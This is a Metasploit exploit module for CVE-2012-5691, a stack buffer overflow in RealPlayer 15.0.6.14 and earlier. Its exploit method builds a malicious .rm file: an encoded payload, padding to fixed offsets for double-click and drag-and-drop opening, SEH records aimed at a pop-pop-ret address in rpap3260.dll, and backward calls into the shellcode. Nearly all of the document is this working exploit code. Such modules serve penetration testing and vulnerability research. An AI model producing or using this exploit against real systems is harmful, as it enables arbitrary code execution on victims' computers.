RealPlayer RealMedia File Handling Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
          The vulnerability exists in the handling of real media files, due to the insecure
          usage of the GetPrivateProfileString function to retrieve the URL property from an
          InternetShortcut section.

          This module generates a malicious rm file which must be opened with RealPlayer via
          drag and drop or double click methods. It has been tested successfully on Windows
          XP SP3 with RealPlayer 15.0.5.109.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-5691' ],
          [ 'OSVDB', '88486' ],
          [ 'BID', '56956' ],
          [ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
          'Space' => 2000
        },
        'Targets' => [
          [
            'Windows XP SP3 / Real Player 15.0.5.109',
            {
              'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll
              'OffsetOne' => 2312, # Open via double click
              'OffsetTwo' => 2964 # Open via drag and drop
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-12-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),])
  end

  def exploit
    buffer = payload.encoded
    buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
    buffer << generate_seh_record(target.ret)
    buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
    buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
    buffer << generate_seh_record(target.ret)
    buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
    buffer << rand_text(7000) # Generate exception

    content = "[InternetShortcut]\nURL="
    filecontent = content + buffer

    file_create(filecontent)
  end
end